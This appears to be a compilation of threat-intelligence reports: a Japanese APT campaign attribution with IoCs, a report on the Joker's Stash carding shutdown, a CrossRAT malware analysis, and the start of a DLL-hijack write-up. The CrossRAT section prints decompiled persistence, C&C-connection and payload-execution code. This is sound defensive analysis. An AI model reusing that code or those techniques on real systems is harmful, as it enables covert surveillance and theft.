2022年1月と4月下旬のCobalt Strikeの事例に関連して、2021年11月に取得されたdifferentfor[.]comというドメインが挙げられます。インフラやドメイン、ファイルパス、HTTPヘッダ、Cobalt StrikeのConfigなどが重複しており、本攻撃キャンペーンと関連している可能性があります。
### 2021年10月の事例
本攻撃キャンペーンについて調査を行った結果、今回と類似した攻撃インフラを使用した攻撃が2021年10月下旬に行われていた可能性があることを発見しました。調査時点では攻撃ファイルを入手することはできませんでしたが、笹川平和財団のWebサイトのように見せかけたWebサイトから悪性ファイルがダウンロードされた可能性があります。
## 帰属
本攻撃キャンペーンについて、その特徴を整理します。様々な特徴がありますが、特に注目すべきは明確に日本を標的としていることです。標的ユーザを絞り込み、自然な日本語を扱い、日本のIPアドレスを使用するなど、単なる流れ弾的な攻撃ではなく、日本を標的とすべきモチベーションが高いと考えられます。また、本攻撃キャンペーンで使用されるWebサーバは地理的情報によってアクセス制御を行っている可能性があり、攻撃者の慎重さ、狡猾さを感じます。日本に対する高い攻撃モチベーションと能力を兼ね備えた攻撃グループは少なく、候補は限られてきます。
これらのことから、私達が関連性を疑っている標的型攻撃グループを4つ挙げます。本稿では言及していない様々な要素を考慮した上で、私達はDarkHotelである可能性を他の候補よりも検討していますが、どの場合でも決定的な要素はないため確度は低く、今後のリサーチで大きく変化する可能性があります。
### DarkHotel
DarkHotelは韓国に帰属すると言われている標的型攻撃グループで、日本でも度々攻撃を観測しています。DarkHotelは日本のメディア企業やシンクタンクを執拗に攻撃し続けており、日本語のメールとデコイファイルを用いてスピアフィッシングを行い、LNKファイルを用いて多段のダウンローダ・ローダを実行します。これらの特徴は本攻撃キャンペーンと近しく、関連性が疑われます。
### Kimsuky
Kimsukyは北朝鮮に帰属すると言われている攻撃グループで、日本でも時折攻撃を観測しています。Kimsukyは脱北者やそれに関わる組織を標的としているとされ、日本のメディア企業が標的となったこともあります。また、直近ではLNKファイルを用いた攻撃も報告されており、これらの特徴は本攻撃キャンペーンと類似しています。
### APT29
APT29はロシアに帰属すると言われている標的型攻撃グループで、日本ではほとんどその攻撃について報告されることはありません。しかし、昨今のウクライナ情勢から攻撃の動機となりうると考えられます。また、APT29はLNKファイルやISOファイルを用いた攻撃が既に報告されており、さらにCobalt StrikeやGolangマルウェアを使用することも知られています。これらは本攻撃キャンペーンと類似しています。
### TA416
TA416は中国に帰属すると言われている標的型攻撃グループで、日本では時折攻撃を観測しています。TA416はLNKファイルやCobalt Strikeを使用して攻撃を行いますが、これらは本攻撃キャンペーンと類似しています。
## おわりに
2022年4月現在、日本企業を狙った標的型攻撃キャンペーンが観測されています。本攻撃キャンペーンはいくつかの帰属が考えられますが、明確な要素は発見できていません。類似した攻撃は数ヶ月前から行われていた可能性があり、今後も継続的に注視していく必要があります。
## IoCs
- *.disknxt[.]com
- *.officehoster[.]com
- *.youmiuri[.]com
- *.spffusa[.]org
- *.sseekk[.]xyz
- *.mbusabc[.]com
- *.differentfor[.]com
- 103[.]29.69.155
- 149[.]28.16.63
- 172[.]104.122.93
- 172[.]105.229.93
- 172[.]105.229.216
- 207[.]148.91.243
- 45[.]77.179.110 |
# Joker’s Stash, the Largest Carding Marketplace, Shuts Down
**January 15, 2021**
## Key Findings
Joker’s Stash, the largest dark web marketplace in the underground payment card economy, has announced that it is shutting down. While this marketplace was the largest in the carding space, it also exhibited a severe decline in the volume of compromised records posted over the past six months. Given this marketplace’s high profile, it relied on a robust network of criminal vendors who offered their stolen records on this marketplace, among others. Gemini assesses with a high level of confidence that these vendors are very likely to fully transition to other large, top-tier dark web marketplaces. The underground payment card economy is likely to remain largely unaffected by this shutdown.
## Background
Joker’s Stash announced that it would remain operational until February 15, 2021, before the administrator, “JokerStash,” “goes on a well-deserved retirement.” This message was originally posted to Joker’s Stash itself and additionally added to several top-tier dark web forums.
## In-Depth Analysis
### Reactions
Feedback was mixed; some dark web forum members expressed disappointment at losing access to the marketplace, while others who had been frustrated with its operations were neutral. Certain actors accepted JokerStash’s explanation for retirement, while others on dark web forums and hacking-focused Telegram channels speculated that the FBI had detained JokerStash. Several weeks ago, Joker’s Stash blockchain domains were temporarily rendered unavailable and replaced with an FBI and Interpol seizure notice. However, the administrator quickly regained control. In late October, the marketplace’s routine activities were disrupted. JokerStash posted to claim that this was due to getting COVID-19 and spending more than one week in a hospital.
Another event that may have contributed to this threat actor shutting down their marketplace is Bitcoin’s recent spike. JokerStash was an early advocate of Bitcoin and claims to keep all proceeds in this cryptocurrency. This actor was already likely to be among the wealthiest cybercriminals, and the spike may have multiplied their fortune, earning them enough money to retire. However, the true reason behind this shutdown remains unclear.
### Operations
While this marketplace was the largest in the carding space, it also exhibited a severe decline in the volume of compromised Card Not Present (CNP) and Card Present (CP) records posted over the past six months. Most other top-tier carding marketplaces actually increased their posted data (largely CNP data, while CP data declined during COVID-19 lockdowns) during this time. However, Joker’s Stash has received numerous user complaints alleging that card data validity is low, which even prompted the administrator to upload proof of validity through a card-testing service.
Additionally, JokerStash’s tactics, techniques, and procedures (TTPs) involved advertising in advance and then posting high-profile major breaches. The threat actor leveraged media coverage of these breaches to boast about their ability to compromise even major corporations. Most dark web marketplaces eschew such TTPs because they attract undue attention from security researchers and law enforcement; JokerStash actually celebrated such attention.
Joker’s Stash was one of the oldest observed dark web marketplaces and has operated since 2014. In the past year, the marketplace has added over 40 million new records, the majority of which were CP records. CP data was linked to major breaches, such as the “BIGBADABOOM-III” breach that compromised Wawa or the “BLAZINGSUN” breach that compromised Dickey’s Barbecue Pit. CNP data was linked to Magecart attacks or occasionally phishing. Gemini calculated that Joker’s Stash has generated more than $1 billion USD in revenue over the last several years.
## Conclusion
Many criminal groups split the sale of compromised data across numerous marketplaces. For example, Gemini Advisory recently observed the “Keeper” group dividing stolen records among four leading marketplaces (including Joker’s Stash). Given Joker’s Stash’s high profile, it relied on a robust network of criminal vendors who offered their stolen records on this marketplace, among others. Gemini assesses with a high level of confidence that these vendors are very likely to fully transition to other large, top-tier dark web marketplaces. According to Wired research, even the shutdown of the infamous Silk Road dark web marketplace had very little impact on the overall dark web black market. The cybercriminals who sold illicit goods and services there simply shifted to other marketplaces, and the economy continued to function. The underground payment card economy is thus likely to remain largely unaffected by this shutdown.
## Gemini Advisory Mission Statement
Gemini Advisory provides actionable fraud intelligence to the largest financial organizations in an effort to mitigate ever-growing cyber risks. Our proprietary software utilizes asymmetrical solutions in order to help identify and isolate assets targeted by fraudsters and online criminals in real-time. |
# Analyzing CrossRAT
**Objective-See**
**Date:** 1/24/2018
I'm on a plane again...this time flying home from one of my favorite hacker cons: ShmooCon! I was stoked to give a talk about auditing on macOS. Yah, I know that doesn't seem like the sexiest of topics - but if you're interested in incident response, malware analysis, or writing security tools for macOS, it's a very relevant topic! Plus, the talk covered some neat ring-0 bugs that affected the audit subsystem including a kernel panic, a kernel information leak, and an exploitable kernel heap overflow.
Besides being able to speak, the highlight of ShmooCon was meeting tons of new awesome people - some who are in a way directly responsible for this blog. I personally have to thank Kate from Gizmodo (@kateconger), who introduced me to Eva (@evacide) and Cooper (@cooperq) from the Electronic Frontier Foundation (EFF). We geeked out about a variety of stuff, including their latest report (produced in conjunction with Lookout): "Dark Caracal Cyber-espionage at a Global Scale". Their findings about this global nation-state cyber-espionage campaign are rather ominous. From their report:
- Dark Caracal has been conducting a multi-platform, APT-level surveillance operation targeting individuals and institutions globally.
- We have identified hundreds of gigabytes of data exfiltrated from thousands of victims, spanning 21+ countries in North America, Europe, the Middle East, and Asia.
- The mobile component of this APT is one of the first we've seen executing espionage on a global scale.
- Dark Caracal targets also include governments, militaries, utilities, financial institutions, manufacturing companies, and defense contractors.
- Types of exfiltrated data include documents, call records, audio recordings, secure messaging client content, contact information, text messages, photos, and account data.
Dark Caracal follows the typical attack chain for cyber-espionage. They rely primarily on social media, phishing, and in some cases physical access to compromise target systems, devices, and accounts. Dark Caracal makes extensive use of Windows malware called Bandook RAT. Dark Caracal also uses a previously unknown, multiplatform tool that Lookout and EFF have named CrossRAT, which is able to target Windows, OSX, and Linux.
The report is an intriguing read and quite thorough. Seriously, go read it! I was most interested in "CrossRAT", a "multiplatform tool...able to target Windows, OSX, and Linux", which the report did discuss, but not in a ton of technical detail. I'm not complaining at all - gave me something interesting to poke on and blog about!
In this blog post, we'll analyze this threat, providing a comprehensive technical overview that includes its persistence mechanisms as well as its capabilities. I want to thank Cooper (@cooperq) for sharing not only a sample of CrossRAT, but also his analysis notes - especially related to the C&C protocol. Mahalo dude!!
## CrossRAT
The EFF/Lookout report describes CrossRAT as a "newly discovered desktop surveillanceware tool...which is able to target Windows, OSX, and Linux." Of course the OSX (macOS) part intrigues me the most, so this post may have somewhat of a 'Mac-slant.' The report provides a good overview of this new threat:
"Written in Java with the ability to target Windows, Linux, and OSX, CrossRAT is able to manipulate the file system, take screenshots, run arbitrary DLLs for secondary infection on Windows, and gain persistence on the infected system."
A sample, 'hmar6.jar' was submitted to VirusTotal. Somewhat unsurprisingly, its detection even now is basically non-existent: 1/59.
Though I'm not fond of Java as a programming language, it is "decompilable" - meaning malware written in this language is fairly straightforward to analyze. Tools such as jad or "JD-GUI" can take as input a compiled jar file, and spit out decently readable Java code! And since it's 2018 you can even decompile Java in the cloud! Now if only somebody could combine this with the blockchain...
Opening the malicious .jar file 'hmar6.jar' in JD-GUI reveals the following package layout. As a .jar is an archive, one could also just unzip it, then browse the package structure manually. Of course the files in the archive are Java classes containing Java bytecode. Thus one of the aforementioned Java decompilers should be used.
For the purpose of this blog post, our goals are to identify and understand the malware's:
- persistence mechanism (and install location)
- C&C communications
- features/capabilities
We'll ultimately discuss the client.class file in the crossrat package, as it contains both the main entry point of the malware (public static void main(String args[])), and its main logic. However, let's first start by peeking at the other packages in the jar; 'a', 'b', and 'org'.
The first package, (which JD-GUI simply names 'a'), appears to be responsible for determining the OS version of any system it is running on. Since Java can run on multiple platforms, CrossRAT can be deployed on Windows, Linux, SunOS, and OS X (well, assuming Java is installed). Of course not all the logic in the implant can be OS-agnostic. For example, persistence (as we'll see) is OS-specific. As such correctly identifying the underlying system is imperative. It's also likely this information is useful to the attackers (i.e. for profiling, metrics, etc).
Dumping strings of the a/c.class shows the supported systems that CrossRAT should run on:
```
LINUX
MACOS
SOLARIS
WINDOWS
```
Java provides various OS-agnostic methods to detect the type of operating system it's running on. For example, CrossRAT invokes the following:
```
System.getProperty("os.name")
```
This method will return values such as "windows", "linux", or "mac os". Interestingly, the implant also contains various OS-specific code that aids in the more precise OS detection. For example, code within the a/c/a.class executes `/usr/bin/sw_vers`:
```java
Object localObject = new File("/usr/bin/sw_vers");
...
Iterator localIterator = (localObject = e.a((File)localObject)).iterator();
while (localIterator.hasNext()) {
if ((localObject = (String)localIterator.next()).contains(c.b.a())) {
return true;
}
}
if (paramBoolean) {
return ((localObject = System.getProperty("os.name").toLowerCase()).contains("mac os x"))
|| (((String)localObject).contains("macos"));
}
```
The sw_vers binary is Apple-specific and returns the exact version of OSX/macOS. On my box:
```
$ /usr/bin/sw_vers
ProductName: Mac OS X
ProductVersion: 10.13.2
BuildVersion: 17C88
```
CrossRAT also contains other non-OS agnostic code to determine or gather information about an infected system. For example, in the crossrat/e.class file, we see a call to uname (with the -a flag):
```java
public static String c() {
String s = null;
Object obj = Runtime.getRuntime().exec(new String[] {"uname", "-a"});
s = ((BufferedReader) (obj = new BufferedReader(new InputStreamReader(((Process) (obj)).getInputStream())))).readLine();
((BufferedReader) (obj)).close();
return s;
}
```
The uname command, when executed with the -a flag will display not only OS version, but also information that identifies the kernel build and architecture (i.e. x86_64):
```
$ uname -a
Darwin Patricks-MacBook-Pro.local 17.3.0 Darwin Kernel Version 17.3.0: root:xnu-4570.31.3~1/RELEASE_X86_64 x86_64
```
Finally, the implant even attempts to query systemd files for (recent/modern) linux-specific version information:
```java
try {
obj1 = a(new File("/etc/os-release"), "=");
} catch(Exception _ex) {
System.out.println("Failed to load /etc/os-release");
}
try {
map = a(new File("/etc/lsb-release"), "=");
} catch(Exception _ex) {
System.out.println("Failed to load /etc/lsb-release");
}
```
Finally, though absent in the disassembly, running the strings command reveals a large list of OS versions that CrossRAT apparently is able to detect (and infect?). Here for example, a myriad of linux versions:
```
$ strings - a/b/c.class
Alpine Linux Antergos Arch Linux Blag Centos Chakra Chapeau Crunchbang Crux Centos Chakra Chapeau Crunchbang Crux Debian Deepin Dragora Debian Debian Kali Linux Deepin Dragora Elementary_os Evolve_os Evolve Os Evolveos Fedora Frugalware Funtoo Fedora Frugalware Funtoo Gentoo Gnewsense Gentoo Jiyuu Jiyuu Kali Kaos Kde Neon Kde_neon Korora Kaos Kali Kali Linux Korora Lmde Lunar La/b/c; Linux Mint Linuxdeepin Linuxmint Lunar Lunar Linux Mageia Mandrake Mandriva Manjaro Mint Mageia Mandrake Mandriva Mandriva Linux Manjaro Manjaro Linux Nixos Nixos Opensuse Oracle_linux Oracle Linux Parabola Peppermint Parabola Parabola Gnu/linux-libre Peppermint Qubes Qubes Raspbian Redhat_enterprise Raspbian Red Hat Redhatenterprise Redhat Enterprise Sabayon Scientificlinux Slackware Solusos Steamos Suse Linux Sabayon Scientific Linux Slackware Solusos Stackmaptable Steamos Tinycore Trisquel Ubuntu Unknown Ubuntu Unknown Unknown Linux Viperr
```
Moving on, let's take a peek at the next package, which JD-GUI simply names 'b':
Wonder what this package is responsible for? If you guessed 'persistence' you'd be correct :)
On an infected system, in order to ensure that the OS automatically (re)executes the malware whenever the system is rebooted, the malware must persist itself. This (generally) requires OS-specific code. That is to say, there are Windows-specific methods of persistence, Mac-specific methods, Linux-specific methods, etc...
The b/c.class implements macOS-specific persistence by means of a Launch Agent. First the 'a' method invokes the 'b' method:
```java
public final void a() {
if(!b().exists())
b().mkdirs();
...
}
```
Looking at the 'b' method, we can see it returns a launch agent directory. If the user is root, it will return the directory for system launch agents (i.e. /Library/LaunchAgents/) otherwise the user-specific directory will be returned (e.g. /Users/patrick/Library/LaunchAgents/).
```java
private static File b() {
String s = System.getProperty("user.home");
if(a.c.b().a() != a.c.a && (new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec("whoami").getInputStream()))).readLine().equals("root")) {
s = "";
}
return new File((new StringBuilder(String.valueOf(s))).append("/Library/LaunchAgents/").toString());
}
```
The code then creates a launch agent property list (plist):
```java
((PrintWriter) (obj = new PrintWriter(new FileWriter(((File) (obj)))))).println("<plist version=\"1.0\">");
((PrintWriter) (obj)).println("<dict>");
((PrintWriter) (obj)).println("\t<key>Label</key>");
((PrintWriter) (obj)).println((new StringBuilder("\t<string>")).append(super.b).append("</string>").toString());
((PrintWriter) (obj)).println("\t<key>ProgramArguments</key>");
((PrintWriter) (obj)).println("\t<array>");
if(a) {
((PrintWriter) (obj)).println("\t\t<string>java</string>");
((PrintWriter) (obj)).println("\t\t<string>-jar</string>");
}
((PrintWriter) (obj)).println((new StringBuilder("\t\t<string>")).append(super.c).append("</string>").toString());
((PrintWriter) (obj)).println("\t</array>");
((PrintWriter) (obj)).println("\t<key>RunAtLoad</key>");
((PrintWriter) (obj)).println("\t<true/>");
((PrintWriter) (obj)).println("</dict>");
((PrintWriter) (obj)).println("</plist>");
((PrintWriter) (obj)).close();
```
As the RunAtLoad key is set to true, whatever the malware has specified in the ProgramArguments array will be executed. From the code we can see this is: `java -jar [super.c]`. To determine what .jar is persisted (i.e. super.c) we could analyze the decompiled java code...or it's simpler to just run the malware, then dump the plist file. We opt for the latter and infect a Mac VM:
```
$ java -jar hmar6.jar &
$ cat ~/Library/LaunchAgents/mediamgrs.plist
<plist version="1.0">
<dict>
<key>Label</key>
<string>mediamgrs</string>
<key>ProgramArguments</key>
<array>
<string>java</string>
<string>-jar</string>
<string>/Users/user/Library/mediamgrs.jar</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
```
Ah, so `~/Library/mediamgrs.jar` is persisted. If we hash this file with the malicious 'hmar6.jar' that we've been analyzing they match. In other words, the malware simply persists itself:
```
$ md5 ~/Library/mediamgrs.jar
MD5 (/Users/user/Library/mediamgrs.jar) = 85b794e080d83a91e904b97769e1e770
$ md5 hmar6.jar
MD5 (/Users/user/Desktop/hmar6.jar) = 85b794e080d83a91e904b97769e1e770
```
Moving on, we can figure out how the malware persists both on Linux and Windows. Linux persistence is implemented in the b/d.class:
As can be seen in the above screen capture, CrossRAT, the malware persists on Linux by creating an autostart file in the aptly named `~/.config/autostart/` directory (file: mediamgrs.desktop). Similar to macOS, it persists itself: `Exec=java -jar [this.c]`. Looking elsewhere in the code, we can see the value for 'this.c' will be set to: `/usr/var/mediamgrs.jar` at runtime:
```java
else {
k.K = "/usr/var/";
}
paramArrayOfString = new File(k.K + "mediamgrs.jar");
```
For more information on persisting a file on Linux using this 'autostart' technique, see: "How To Autostart A Program In Raspberry Pi Or Linux?".
Of course CrossRAT also contains logic to persist on Windows machines. This persistence code can be found in the b/e.class:
```java
public final void a() {
String s;
if(a) {
s = (new StringBuilder(String.valueOf(System.getProperty("java.home")))).append("\\bin\\javaw.exe").toString();
s = (new StringBuilder(String.valueOf(s))).append(" -jar \"").append(c).append("\"").toString();
} else {
s = super.c;
}
Runtime.getRuntime().exec(new String[] {
"reg", "add", "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", "/v", super.b, "/t", "REG_SZ", "/d", s, "/f"
});
}
```
Ah, the good old CurrentVersion\Run registry key. A rather lame Windows persistence technique, but hey, it will persist the malware's .jar file ensuring it's (re)executed each time an infected system is rebooted.
With a decent understanding of both the 'a' package (OS detection) and the 'b' package (persistence), let's discuss the 'org' package. Then, finally(!), we'll dive into the malware's core logic.
The 'org' package contains packages named 'a.a.a.' and 'jnativehook'.
Looking at various classes within the 'a.a.a' package, we can see this package contains code dealing with file I/O operations. For example, take a look at some of the strings from the 'a.a.a/b.class':
```
does not exist
is not a directory
to a subdirectory of itself
already exists
cannot be written to
directory cannot be created
does not exist
exists but is a directory
exists but is read-only
Cannot move directory:
Destination must not be null
Failed to copy full contents from
Failed to delete original directory
Failed to list contents of
File does not exist:
Unable to delete file:
```
Pretty clear that this is the part of the implant that allows a remote attacker the ability to interact with and modify the file system on an infected system.
Want to confirm this in code? Let's take a look at the 'a' method in the same 'a.a.a/b.class'. This method will copy a file, taking in an optional parameter to 'match' the file modification of the destination file to its source.
```java
private static void a(File paramFile1, File paramFile2, boolean paramBoolean) {
if ((paramFile2.exists()) && (paramFile2.isDirectory())) {
throw new IOException("Destination '" + paramFile2 + "' exists but is a directory");
}
....
try {
localFileInputStream = new FileInputStream(paramFile1);
localFileOutputStream = new FileOutputStream(paramFile2);
localFileChannel1 = localFileInputStream.getChannel();
localFileChannel2 = localFileOutputStream.getChannel();
l1 = localFileChannel1.size();
long l5;
for (l2 = 0L; l2 < l1; l2 += l5) {
long l4;
long l3 = (l4 = l1 - l2) > 31457280L ? 31457280L : l4;
if ((l5 = localFileChannel2.transferFrom(localFileChannel1, l2, l3)) == 0L) {
break;
}
}
...
}
....
long l1 = paramFile1.length();
long l2 = paramFile2.length();
if (l1 != l2) {
throw new IOException("Failed to copy full contents from '" + paramFile1 + "' to '" + paramFile2 + "' Expected length: " + l1 + " Actual: " + l2);
}
if(paramBoolean) {
paramFile2.setLastModified(paramFile1.lastModified());
}
}
```
The other package in the 'org' package is named 'jnativehook'. If you google this, you'll discover it's an open-source Java library. Check out its GitHub page: jnativehook. As described by its author, it was created to "provide global keyboard and mouse listeners for Java". This functionality is not possible in (high-level) Java code, thus the library leverages "platform dependent native code...to create low-level system-wide hooks and deliver those events to your application." Hrmm why would a cyber-espionage implant be interested in such capabilities? Capturing key-events (i.e. keylogging) would be an obvious answer! However, I didn't see any code within that implant that referenced the 'jnativehook' package - so at this point it appears that this functionality is not leveraged? There may be a good explanation for this. As noted in the report, the malware identifies its version as 0.1, perhaps indicating it's still a work in progress and thus not feature complete.
Ok, time to dive into the core logic of CrossRAT!
The main logic of the malware is implemented within the crossrat/client.class file. In fact, this class contains the main entry point of the implant (public static void main(String args[])). When the malware is executed this main method is invoked. This performs the following steps:
1. If necessary, performs an OS-specific persistent install
2. Checks in with the remote command and control (C&C) server
3. Performs any tasking as specified by the C&C server
Let's take a closer look at all of this!
The malware first installs itself persistently. As previously discussed, this logic is OS-specific and involves the malware copying itself to a persistent location (as mediamgrs.jar), before setting persistence (registry key, launch agent plist, etc). I've inserted comments into the following code, to illustrate these exact steps. Below, we first have the code that builds the path to the OS-specific install directory:
```java
public static void main(String args[]) {
Object obj;
supportedSystems = c.b();
String tempDirectory;
// get temp directory
s = System.getProperty(s = "java.io.tmpdir");
installDir = "";
// Windows?
// build path to Windows install directory (temp directory)
if(supportedSystems.a() == c.a) {
installDir = (new StringBuilder(String.valueOf(s))).append("\\").toString();
}
// Mac?
// build path to Mac install directory (~/Library)
else if(supportedSystems.a() == c.b) {
userHome = System.getProperty("user.home");
installDir = (new StringBuilder(String.valueOf(userHome))).append("/Library/").toString();
}
// Linux, etc?
// build path to Linux, etc install directory (/usr/var/)
else {
installDir = "/usr/var/";
}
...
}
```
Once the path to the install directory has been dynamically created, the malware makes a copy of itself (mediamgrs.jar) into the install directory:
```java
public static void main(String args[]) {
...
// build full path and instantiate file obj
installFileObj = new File(installDir + "mediamgrs.jar");
// copy self to persistent location
org.a.a.a.b.a(((File) (selfAsFile)), installFileObj);
...
}
```
Via the fs_usage command, we can observe this file copy, and updating of the file time to match to original:
```
# fs_usage -w -f filesystem
open F=7 (R_____) /Users/user/Desktop/hmar6.jar java.125131
lseek F=7 O=0x00000000 java.125131
open F=8 (_WC_T_) /Users/user/Library/mediamgrs.jar java.125131
pwrite F=8 B=0x3654f O=0x00000000 java.125131
close F=8 0.000138 java.125131
utimes /Users/user/Library/mediamgrs.jar java.125131
```
Once the malware has made a copy of itself, it executes the OS-specific logic to persist. As we're executing the malware on a Mac VM, the malware will persist as a launch agent:
```java
public static void main(String args[]) {
...
// persist: Windows
if ((localObject5 = a.c.b()).a() == a.c.a) {
paramArrayOfString = new b.e(paramArrayOfString, (String)localObject4, true);
}
// persist: Mac
else if (((a.a)localObject5).a() == a.c.b) {
paramArrayOfString = new b.c(paramArrayOfString, (String)localObject4, true);
}
// persist: Linux
else if ((((a.a)localObject5).d()) && (!GraphicsEnvironment.getLocalGraphicsEnvironment().isHeadlessInstance())) {
paramArrayOfString = new b.d(paramArrayOfString, (String)localObject4, true);
}
...
// error: unknown OS
else {
throw new RuntimeException("Unknown operating system " + ((a.a)localObject5).c());
}
...
}
```
We can again observe this persistence by monitoring the file system, or BlockBlock detects this persistence attempt:
Now the malware has persistently installed itself, it checks in with the C&C server for tasking. As noted, the EFF/Lookout report states the malware will connect to flexberry.com on port 2223. This C&C info is hardcoded in the crossrat/k.class file:
```java
public static void main(String args[]) {
...
// connect to C&C server
Socket socket;
(socket = new Socket(crossrat.k.b, crossrat.k.c)).setSoTimeout(0x1d4c0);
...
}
```
When the malware checks in with the C&C server for tasking, it will transmit various information about the infected host, such as version and name of the operating system, host name, and user name. The generation of this information is shown in code below:
```java
public static void main(String args[]) {
...
if((k.g = (k.h = Preferences.userRoot()).get("UID", null)) == null) {
k.g = (k.f = UUID.randomUUID()).toString();
k.h.put("UID", k.g);
}
String s1 = System.getProperty("os.name");
String s2 = System.getProperty("os.version");
args = System.getProperty("user.name");
Object obj1;
obj1 = ((InetAddress) (obj1 = InetAddress.getLocalHost())).getHostName();
obj1 = (new StringBuilder(String.valueOf(args))).append("^").append(((String) (obj1))).toString();
...
}
```
The malware then parses the response from the C&C server and if tasking is found acts on it.
If you made it this far, I'm sure you're wondering what the malware can actually do! That is to say, what's its capabilities? its features? Lucky for us, the EFF/Lookout report provides some details. Below are annotations from their report of the crossrat/k.class which contains CrossRat's tasking values:
- `@0000`: Enumerate root directories on the system. 0 args
- `@0001`: Enumerate files on the system. 1 arg
- `@0002`: Create blank file on system. 1 arg
- `@0003`: Copy File. 2 args
- `@0004`: Move file. 2 args
- `@0005`: Write file contents. 4 args
- `@0006`: Read file contents. 4 args
- `@0007`: Heartbeat request. 0 args
- `@0008`: Get screenshot. 0 args
- `@0009`: Run a DLL 1 arg
The code that uses these values can be found in the crossrat/client.class file, where, as we mentioned, the malware parses and acts upon the response from the C&C server:
```java
public static void main(String args[]) {
...
// enum root directories
if((args1 = args.split((new StringBuilder("\\")).append(crossrat.k.d).toString()))[0].equals(k.m)) {
new crossrat.e();
crossrat.e.a();
f f1;
(f1 = new f()).start();
}
// enum files
else if(args1[0].equals(k.n))
(args = new crossrat.c(args1[1])).start();
// create blank file
else if(args1[0].equals(k.o))
(args = new crossrat.a(args1[1])).start();
// copy file
else if(args1[0].equals(k.p))
(args = new crossrat.b(args1[1], args1[2])).start();
...
}
```
Let's look at some of the more 'interesting' commands such as the screen capture and DLL loading.
When the malware receives the string "0008" ('k.u') from the C&C server, it instantiates and 'runs' a 'j' object, passing in 'k.b' and 'k.c':
```java
public static void main(String args[]) {
...
// C&C server addr
public static String b = "flexberry.com";
// C&C server port
public static int c = 2223;
// handle cmd: 0008
// pass in C&C addr/port
else if(args1[0].equals(k.u))
(args = new j(crossrat.k.b, crossrat.k.c)).start();
...
}
```
The 'j' object is defined in the crossrat/j.class file. Via the `java.awt.Robot().createScreenCapture`, the malware performs a screen capture, temporarily saves it as a disk (as a .jpg with a randomized name), before exfiltrating it to the C&C server.
Another interesting command is "0009". When the malware receives this command, it instantiates and kicks off an 'i'. This object is implemented in the crossrat/i.class file:
When the malware is executing on a Windows machine, it will execute invoke `rundll32` to load `url.dll` and invoke its `FileProtocolHandler` method:
```java
// open a file
Runtime.getRuntime().exec(new String[] {
"rundll32", "url.dll,FileProtocolHandler", file.getAbsolutePath()
});
```
The `url.dll` is a legitimate Microsoft library which can be (ab)used to launch executables on an infected system. For example, on Windows, the following will launch Calculator:
```java
// execute a binary
Runtime.getRuntime().exec(new String[] {
"rundll32", "url.dll,FileProtocolHandler", "calc.exe"
});
```
On systems other than Windows, it appears that the "0009" command will execute the specified file via the `Desktop.getDesktop().open()` method.
```java
// execute a binary
else if ((locala.a() == c.b) || (locala.a() == c.c)) {
try {
Desktop.getDesktop().open(localFile);
}
}
```
## Conclusions
In this blog post, we provided an in-depth technical analysis of the newly discovered cross-platform cyber-espionage implant CrossRAT. Though not particularly sophisticated, version 0.1 of this malware is still fairly feature-complete and able to run on a large number of platforms. Moreover, as noted by the EFF/Lookout, the attackers utilizing CrossRAT seem to be both competent, motivated, and successful.
### FAQs
**Q: How does one get infected by CrossRAT?**
A: In their report, the EFF/Lookout note: "[the attackers] rely primarily on social media, phishing, and in some cases physical access to compromise target systems, devices, and accounts."
**Q: How can I protect myself from an infection?**
A: As CrossRAT is written in Java, it requires Java to be installed. Luckily recent versions of macOS do not ship with Java. Thus, most macOS users should be safe! Of course, if a Mac user already has Java installed, or the attacker is able to coerce a naive user to install Java first, CrossRAT will run just dandy, even on the latest version of macOS (High Sierra). It is also worth noting that currently AV detections seem rather non-existent (1/59 on Virus Total). Thus having anti-virus software installed likely won't prevent or detect a CrossRAT infection. However, tools that instead detect suspicious behaviors, such as persistence, can help! For example, BlockBlock easily detects CrossRAT when it attempts to persist.
**Q: How can I tell if I'm infected with CrossRAT?**
A: First check to see if there is an instance of Java running, that's executing mediamgrs.jar. On macOS or Linux use the 'ps' command:
```
$ ps aux | grep mediamgrs.jar
user 01:51AM /usr/bin/java -jar /Users/user/Library/mediamgrs.jar
```
One can also look for the persistent artifacts of the malware. However, as the malware persists in an OS-specific manner, detecting this will depend on what OS you're running.
- **Windows:** Check the `HKCU\Software\Microsoft\Windows\CurrentVersion\Run\` registry key. If infected it will contain a command that includes `java`, `-jar` and `mediamgrs.jar`.
- **Mac:** Check for jar file, `mediamgrs.jar`, in `~/Library`. Also look for launch agent in `/Library/LaunchAgents` or `~/Library/LaunchAgents` named `mediamgrs.plist`.
- **Linux:** Check for jar file, `mediamgrs.jar`, in `/usr/var`. Also look for an 'autostart' file in the `~/.config/autostart` likely named `mediamgrs.desktop`.
**Q: On an infected system, what can CrossRAT do?**
A: CrossRAT allows a remote attacker complete control over an infected system. Some of its persistent capabilities include:
- file upload/download/create/delete
- screen capture
- run arbitrary executables
Well, that wraps up our blog on CrossRAT! Mahalo for reading! |
# CrystalBit / Apple Double DLL Hijack
As part of a rapid change in the work environment during the COVID-19 pandemic, Morphisec Labs has been tracking the change in the attack trend landscape. This has included the evolution of adware, PUA, and fraudulent software bundle delivery beyond a consumer problem into a significant attack vector on enterprise employees. In this vein, Morphisec Labs has seen a more than 800 percent increase in preventing attacks from adware and fraudulent software bundles among protected enterprises.
In this blog, we will technically dive into one significant attack campaign example that happened in the second week of May. During this attack, the adversary abuses two legitimate vendor applications, such as CrystalBit and Apple, as part of a DLL double hijack attack chain that starts with a fraudulent software bundle and eventually leads to a persistent miner and, in some cases, spyware deployment.
The abuse of the Apple push notification executable (APSDaemon.exe) is certainly not new. Over the course of more than a year, adversaries have deployed a legitimate and signed copy of the application together with a malicious AppleVersions.dll that is soon loaded by the daemon. In most cases, the deployment was part of a second stage of an attack and rarely has been seen as part of an infiltration stage.
What caught our attention is the use of similar techniques by abusing AnyToIso and CrystalBit software as part of the first delivery stage of the attack.
## DLL HIJACK Technical Overview
The attack chain consists of:
1. Downloading a software bundle from a fraudulent site (DVD plugins, browsers, Excel plugins, codecs, etc.).
Format: `[random letters and digits]{7,8}_SETUP.zip`
2. Elevated execution of a signed AnyToIso / CrystalBit application by the victim, which leads to a malicious msimg32.dll hijack (the malicious DLL is bundled together with the executable).
